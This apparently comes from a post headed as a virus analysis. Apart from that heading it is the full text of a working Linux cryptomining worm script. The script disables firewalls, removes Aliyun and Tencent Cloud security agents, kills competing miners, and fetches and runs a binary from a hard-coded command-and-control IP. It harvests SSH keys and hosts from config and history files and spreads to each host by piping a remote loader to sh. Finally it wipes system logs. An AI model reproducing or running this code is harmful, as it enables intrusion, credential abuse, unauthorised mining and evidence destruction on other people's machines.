病毒分析，恶意脚本代码

export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

cc=http://194.145.227.21

sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')

get() {

    chattr -i $2

    rm -rf $2

    curl -k $1>$2||wget --no-check-certificate -q -O- $1>$2||curl $1>$2||wget -q -O- $1>$2

    chmod +x $2

}

ufw disable

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD ACCEPT

iptables -F

chattr -ia /etc/ld.so.preload

cat /dev/null > /etc/ld.so.preload

chattr -ia /etc/hosts

sed -i '/minexmr.com\|supportxmr.com\|c3pool.com/d' /etc/hosts

h=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)

for i in /tmp /var/tmp /dev/shm /usr/bin $h /root /; do

    echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break

done

mv /usr/bin/ps.original /usr/bin/ps

crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr/d' | crontab -

cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %

pkill -f kthreaddi

pkill -f mysqldd

pkill -f monero

pkill -f xmrig

pkill -f pnscan

pkill -f kinsing

pkill -f kdevtmpfsi

pkill -f masscan

pkill -f sshpass

pkill -f sshexec

pkill -f bashirc

pkill -f dbused

pkill -f cnrig

pkill -f attack

pkill -f dovecat

pkill -f solrd

pkill -f zgrab

pkill -f javae

pkill -f donate

pkill -f zzh

pkill -f init.sh

pkill -f load.sh

pkill -f scan.log

pkill -f solr.sh

pkill -f /var/tmp/ip

pkill -f xmr-stak

pkill -f xms

pkill -f crond64

pkill -f stratum

pkill -f /tmp/java

pkill -f pastebin

pkill -f sysguard

pkill -f networkservice

pkill -f sysupdate

pkill -f phpguard

pkill -f phpupdate

pkill -f networkmanager

pgrep -f '\./python' | xargs -I % kill -9 %

pgrep -f '\./crun' | xargs -I % kill -9 %

rm -f /tmp/dovecat /tmp/dovecat.b64 /tmp/kdevtmpfsi /tmp/kinsing /tmp/java /tmp/xmrig

test -x "$(command -v crontab)" || {

    if [ $(id -u) -eq 0 ]; then

        apt-get update -y

        apt-get -y install cron

        service cron start

        yum update -y

        yum -y install crontabs

        service crond start

    fi

}

if [ $(id -u) -eq 0 ]; then

    systemctl stop bot

    apt-get -y install curl

    yum -y install curl

    if ps aux | grep -i "[a]liyun"; then

        curl http://update.aegis.aliyun.com/download/uninstall.sh | bash

        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash

        pkill aliyun-service

        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*

        systemctl stop aliyun.service

        systemctl disable aliyun.service

        service bcm-agent stop

        yum remove bcm-agent -y

        apt-get remove bcm-agent -y

    elif ps aux | grep -i "[y]unjing"; then

        /usr/local/qcloud/stargate/admin/uninstall.sh

        /usr/local/qcloud/YunJing/uninst.sh

        /usr/local/qcloud/monitor/barad/admin/uninstall.sh

    fi

fi

rm -rf /tmp/* /tmp/.* 2>/dev/null

ps -fe | grep kthreaddk | grep -v grep; if [ $? -ne 0 ]; then

    PATH=".:$PATH"; get $cc/sys.$(uname -m) $sys; nohup $sys 1>/dev/null 2>&1 &

fi

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)

KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')

KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)

HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')

HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")

HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)

USERZ=$(

    echo "root"

    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"

)

userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)

hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)

keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)

for user in $userlist; do

    for host in $hostlist; do

        for key in $keylist; do

            chmod +r $key; chmod 400 $key

            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ldr.sh?localssh||wget -q -O- $cc/ldr.sh?localssh)|sh"

        done

    done

done

cat /dev/null >/var/spool/mail/root

cat /dev/null >/var/log/wtmp

cat /dev/null >/var/log/secure

cat /dev/null >/var/log/cron